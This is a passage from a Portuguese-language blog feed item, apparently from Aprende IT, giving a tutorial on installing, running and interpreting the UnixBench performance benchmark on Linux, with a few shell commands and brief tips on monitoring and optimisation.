<p>A instalação do UnixBench é simples e é realizada através de alguns comandos no terminal:<br />
Clona o repositório do UnixBench:</p>
<pre>git clone https://github.com/kdlucas/byte-unixbench.git</pre>
<p>Acede ao diretório UnixBench:</p>
<pre>cd byte-unixbench/UnixBench</pre>
<p>Compila e constrói o UnixBench:</p>
<pre>make</pre>
<h2>Executando o Teu Primeiro Teste com UnixBench</h2>
<p>Para lançar o teu primeiro teste, segue estes passos:<br />
Na mesma pasta do UnixBench, executa:</p>
<pre>./Run</pre>
<p>Isso iniciará uma série de testes que avaliarão diferentes aspetos do teu sistema.</p>
<h2>Análise dos Resultados</h2>
<p>Os resultados do UnixBench são apresentados em forma de pontuações e dados, proporcionando uma ideia clara do desempenho do teu sistema em áreas como a CPU, a memória e as operações de disco.</p>
<h2>Testes Avançados</h2>
<p>O UnixBench permite realizar testes específicos para diferentes componentes. Por exemplo, para focar na CPU:</p>
<pre>./Run dhry2reg whetstone-double</pre>
<h2>Personalizando os Testes</h2>
<p>O UnixBench oferece a flexibilidade de personalizar os testes. Podes escolher quais testes executar e adaptá-los às tuas necessidades específicas.</p>
<h2>Monitorização em Tempo Real</h2>
<p>Enquanto os testes estão a decorrer, é útil realizar uma monitorização em tempo real do sistema usando ferramentas como top ou htop.</p>
<h2>Testes de Desempenho de Rede</h2>
<p>Além dos componentes básicos, o UnixBench também pode avaliar o desempenho da rede do teu sistema, um aspeto crucial para servidores ou ambientes dependentes de rede.</p>
<h2>Integração com Ferramentas de Monitorização</h2>
<p>O UnixBench pode ser integrado com ferramentas avançadas de monitorização de sistemas, proporcionando uma análise detalhada do desempenho do sistema durante os testes.</p>
<h2>Dicas para Otimizar o Desempenho</h2>
<p>Após os testes, podes identificar áreas para melhorias e começar a otimizar o teu sistema, ajustando configurações, atualizando hardware ou modificando o ambiente de software.</p>
<p>La entrada <a href="https://aprendeit.com/pt/testes-de-desempenho-em-linux-com-unixbench/">Testes de Desempenho em Linux com UnixBench</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pt/testes-de-desempenho-em-linux-com-unixbench/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 
Lazy Loading (feed)
Minified using Disk
Database Caching 15/183 queries in 0.127 seconds using Disk

Served from: aprendeit.com @ 2026-04-01 21:59:43 by W3 Total Cache
-->